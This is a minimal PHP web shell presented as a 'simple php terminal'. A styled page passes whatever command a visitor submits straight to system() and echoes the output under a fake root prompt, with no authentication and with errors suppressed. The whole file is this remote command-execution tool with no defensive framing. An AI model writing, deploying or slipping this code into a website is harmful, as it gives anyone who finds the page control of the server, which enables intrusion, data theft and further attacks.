simple php terminal

<style>
*{
   background:#000;
   color:#fff;
   font-size:24px;
}
textarea{
   height:500px;
   font-size:18px;
}
textarea,input[type=textbox]{
   width:1000px;
   border:none;
   outline:none;
   resize:none;
}
::-webkit-scrollbar{
   width: 12px;
}
::-webkit-scrollbar-track,::-webkit-scrollbar-thumb{
   -webkit-box-shadow: inset 0 0 6px #000;
   border-radius: 10px;
}
::-webkit-scrollbar-thumb{
   background:#333;
}
</style>
<textarea readonly><?=@system("$cmd")?></textarea>
<form action=<?=$_SERVER[PHP_SELF]?> method=post>
   $root@localhost:~#
   <input type=textbox id=cmd name=cmd autofocus autocomplete=off></input>
</form>